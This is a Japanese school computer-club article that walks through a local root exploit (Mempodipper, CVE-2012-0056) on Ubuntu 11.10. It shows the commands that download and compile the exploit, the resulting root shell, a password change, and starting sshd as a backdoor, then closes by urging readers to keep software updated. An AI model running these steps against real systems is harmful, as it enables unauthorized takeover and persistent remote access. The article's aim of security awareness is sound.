Exploiting

～ root権限の奪取とパスワード解析 ～

68回生 宮里 智博

序文

みなさんこんにちは！ 68回生のZatです。締切りやばいです。

ところで、みなさんのパソコン、セキュリティは万全ですか？「ちゃんとウイルス対策ソフトいれてあるから大丈夫！」と思っていませんか？ ひとつ、非常に重要なことがあります。

「セキュリティ」＝「ウイルス対策」、ではありません。

ウイルス以外にも、コンピュータに悪さを働くプログラムや人がいるのです。 たとえば世の中には、パソコンにCDを入れるだけでログインパスワードを解析するようなものもあるんですよ！これをウイルス○スターに防がせるというのは、なかなか酷な話です。

ではどうすればいいのでしょうか。

8ページまでこの記事を読んでいただければ、きっとその答えがわかります。その意外に 単純な答えに、「そんなことだけで大丈夫か?」と言いたくなるかもしれませんが・・・

さて、自分でハードルを上げるのはこれくらいにして・・・

今回は不正に権限を昇格するプログラムを用いて、root権限という最高権限を取得して、 いろんな悪さをしようと思います。

そして本文に進む前に注意事項です。

この記事は犯罪行為を促すものではありません。

また、この記事で得た知識を悪用して発生したいかなる事件、事故に関して、われわれは 一切の責任を負いません。同様の実験をするときは、必ず自分が管理する環境下で行ってください。

それでは、上のことを厳守していただくことを念頭において、本文お楽しみください・・・

用語解説

この記事には多くの用語が登場します。円滑にこの記事を読んでいただくために、最初に用語解説を設けました。

root	Unix OS系のOSの管理者アカウントのこと。すべてのファイルにアクセスできるので、rootのパスワードが漏洩すると、事実上コンピューターが乗っ取られた状態に陥る。Windowsでいう「管理者」のようなものです。
Exploit	ソフトウェアの保安上の弱点(脆弱性・セキュリティホール)を 利用して不正な動作が起きる様子を再現するプログラム。 悪用されることを想定して作られているわけではありません。
脆弱性	他者が保安上の脅威となる行為に利用できる可能性のあるシステム上の欠陥や仕様上の問題点。 家の壁にあいている穴のようなものです。
Kernel	OSの基本機能を実装したソフトウェア。OSの中核部分として、アプリケーションソフトや周辺機器の監視、ディスクやメモリなどの資源の管理、割りこみ処理、プロセス間通信など、OSとしての基本機能を提供する。追加機能や周辺機器の制御ソフトウェア(ドライバ)などをモジュール化して、後から追加できるようになっている。
コンパイル	人がプログラミング言語を用いて作成したソフトウェアの設計図(ソースコード)を、コンピュータ上で実行可能な形式(オブジェクトコード)に変換すること。簡単に言えば、コンピュータにプログラム を理解させて、実行できるようにすること。
Ubuntu	Debian GNU/Linuxをベースとしたオペレーティングシステム。Linuxディストリビューションの一つであり無償で提供されている。

Exploiting

さっそくですが、実際にExploitを利用して、root権限に昇格してみましょう。 実験環境は2012年3月17日、OSはUbuntu11.10です。

まずはExploit codeをダウンロードします。コマンドラインからwgetコマンドでダウンロ ードできます。

```
zat@zat-PC:~/Exploit$ wget http://git.zx2c4.com/CVE-2012-0056/plainmempodipper.c
--2012-03-18 12:03:55-- http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
git.zx2c4.com をDNSに問いあわせています... 173.236.178.65, 2607:f298:2:122::2e0:9c2
git.zx2c4.com|173.236.178.65|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 7093 (6.9K) [text/plain]
`mempodipper.c' に保存中
100%[======================================>] 7,093       21.0K/s 時間 0.3s
2012-03-18 12:03:56 (21.0 KB/s) - `mempodipper.c' へ保存完了 [7093/7093]
zat@zat-PC:~/Exploit$ ls
Apache Kernel mempodipper.c mysql
zat@zat-PC:~/Exploit$
```

ダウンロードできました。しかし、これはまだC言語というプログラミング言語で書かれたソースコードの状態なので、コンパイルして実行可能な状態にする必要があります。 そこで、gccという世界的に有名なコンパイラを用いて、このソースコードをコンパイルします。オプションに、出力される実行可能なファイル名を指定する-oと、コンパイル状況を詳細に表示する-vを指定して、コンパイルします。

```
zat@zat-PC:~/Exploit$ gcc -v mempodipper.c -o exploit
組み込み spec を使用しています。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.6.1/lto-wrapper
ターゲット: x86_64-linux-gnu
configure 設定: ../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.6.1-9ubuntu3'
--with-bugurl=file:///usr/share/doc/gcc-4.6/README.Bugs
--enable-languages=c,c++,fortran,objc,obj-c++,go --prefix=/usr --program-suffix=-4.6
--enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib
```

```
--without-included-gettext --enable-threads=posix
--with-gxx-include-dir=/usr/include/c++/4.6 --libdir=/usr/lib --enable-nls --with-sysroot=/
--enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-plugin
--enable-objc-gc --disable-werror --with-arch-32=i686 --with-tune=generic
--enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu
--target=x86_64-linux-gnu
(中略)
/usr/lib/gcc/x86_64-linux-gnu/4.6.1/crtend.o
/usr/lib/gcc/x86_64-linux-gnu/4.6.1/../../../x86_64-linux-gnu/crtn.o
zat@zat-PC:~/Exploit$ ls
exploit Apache Kernel mempodipper.c mysql
zat@zat-PC:~/Exploit$
```

コンパイルできました。では、これで準備完了です。いよいよ実行します。

```
zat@zat-PC:~/Exploit/Kernel$ ./exploitzat@zat-PC:~/Exploit$ ls
==============================
=           Mempodipper =
=           by zx2c4 =
=           Jan 21, 2012 =
==============================
[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x401ce8.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2706/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x401cd3.
[+] Executing su with shellcode.
#
```

実行されました。しかし、これで本当にroot権限に昇格できたのでしょか？idコマンドで確認してみましょう。

```
# id
uid=0(root)gid=0(root)groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev)
116(lpadmin),118(admin),124(sambashare),1000(zat)
#
```

はい、uid=0(root)となっているので、これでroot権限に昇格したことを確認できました。

さて、これまで一気に作業したので、少し説明不足かもしれません。root権限の奪取までの流れをまとめます。 まず、自分の目的としている行動を可能にするExploit Codeを探してきます。そして、そのExploit Codeをコンパイルして、実行します。 たったこれだけのことです。よく考えれば簡単な作業です。そう、簡単な作業なのです。ち ょっと知識をつけたパソコン部員がうっかり悪ふざけでできてしまうレベルです。これは非常に危険なことです。(実は、コンパイルというのはこれ結構エラーの出る作業だったりします w)

「でも、root権限ってよくわからないの、そんなに危険なものなの？」と思われる方も多いはず。そもそもUbuntuというOSにも親しみはないかもしれません。では、実際にroot権限でできる作業を見てみましょう。

root権限での操作

手始めに、パスワードの変更を行ってみましょう。パスワードはpasswdコマンドで変更 できます。passwdコマンドを一般ユーザーが使用すると、変更前、つまり現在のパスワー ドが必要なのですが、root権限ではパスワードを忘れたときのために、パスワードを入力しなくても変更できるようになっています。

```
# passwd zat
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
#
```

変更したことを、zatアカウントで確認してみましょう。

```
# login
zat-PC login: zat
Password:          ←(表示されていませんが、パスワードを入力しています)

Login incorrect
```

ログインできません。パスワードを変更しているので当然ですが、知らないうちに行われていたとしたら大変なことです。それこそ自分で自分のパソコンにExploitを使用してrootにならないといけません。

root権限に昇格するとできることはほかにもたくさんあります。たとえば、init.dというファイルを編集して、Ubuntuが起動するときに任意のプログラムを起動させたりすることができます。しかし、もっと身近に危機感を感じるものとして、いつでもリモートから接 続されてしまう、というのをやってみましょう。

そもそも、この話をするには、「ポート」というものの説明から入る必要があります。

ポートとは、コンピュータが通信データの送受信に使用する出入り口のようなもので、ポートが開かれていると、そこでなにかサービスが提供されている、ということです。root権限を取得した今、サービスを勝手に起動させることなど造作もないことなので、外部から接続を受け付けるサービスを起動してしまえば、いつでもこのコンピュータに接続することがで

きます(先ほどパスワードを変更したので、接続時に求められるパスワードも、難なく突破できます)では、sshというリモートログインサービスを提供する、sshdというプログラムを起動してみましょう。

方法は非常に簡単。すでに存在する(であろう)sshサービスを起動させるコマンドを打 つだけです。すでに起動している可能性もあるので、startではなくrestartします。

```
# service sshd restart
#
```

はい、sshdを起動させました。では、確認のため、別のコンピュータから接続してみましょう。対象のコンピュータのIPアドレスは192.168.1.36でした。

```
# ssh 192.168.1.36
zat@Zat-PC password:
Last login: Mon Mar 19 05:06:33 2012 from ・・・
[zat@Zat-PC ~]$
```

ログインできました。

このような、一度侵入に成功したコンピュータに仕掛けられた、外部接続を容易にするような仕組みを「バックドア」といいます。「裏口」という意味ですね。不正侵入した家に、 裏口を作る感覚でしょうか。

今回は非常に簡単な方法でバックドアを仕掛けたので、正規のユーザーにすぐに気付かれ てしまうのですが、世の中にはバックドアを仕掛けるための専用のツールもあったりして、 非常に見つかりにくい方法で仕掛けることもできます。root権限を乗っ取られると、その時だけではなく、それ以後ずっと影響を及ぼす可能性があるのです。

さいごに

このように、root権限を乗っ取られると、どんなことでもされてしまいます。 また、最近のサイバー攻撃は、さきほどの「root権限での操作」で示したような、一昔前のいたずら主体の攻撃から、脅しや金銭目的の攻撃に移行しています。しかも、犯行元のコンピュータ(つまりは犯人)を特定されないように、リモートからセキュリティの甘いコン ピュータのrootをとって、そのマシンで犯行するケースが増えています。つまり、コンピュータのセキュリティが甘いと、知らないうちに犯罪の片棒を担ぐことになってしまうのです。

では、我々がそうならないようにするには、どうすればいいのでしょうか。

みなさんはこれまでに、さまざまなソフトウェアのバージョンアップメッセージを目にしていると思います。実は、これがセキュリティ向上の第一歩です。実は、今回使用した Exploitは、Ubuntu11.10に対しては実行できるのですが、Ubuntu12.04ではうまくいかな いのです。バージョンアップの目的は、機能の追加なども当然含まれるのですが、発見され た脆弱性のパッチ(対策プログラム)をあてたりして、攻撃の対策をしたものもあるのです。ですから、少し面倒でも、自分のコンピュータのすべてのソフトウェアを最新のバージョンにしておきましょう。

これで、私のExploitingの記事は終わりです。詳しい人が読めば、内容が薄く感じられるかもしれませんが、それは誰でも読みやすいように、できるだけ専門的な話は避けた結果です(言い訳)

これがみなさんのセキュリティに対する意識の向上につながれば幸いです。では、また来年会いましょう。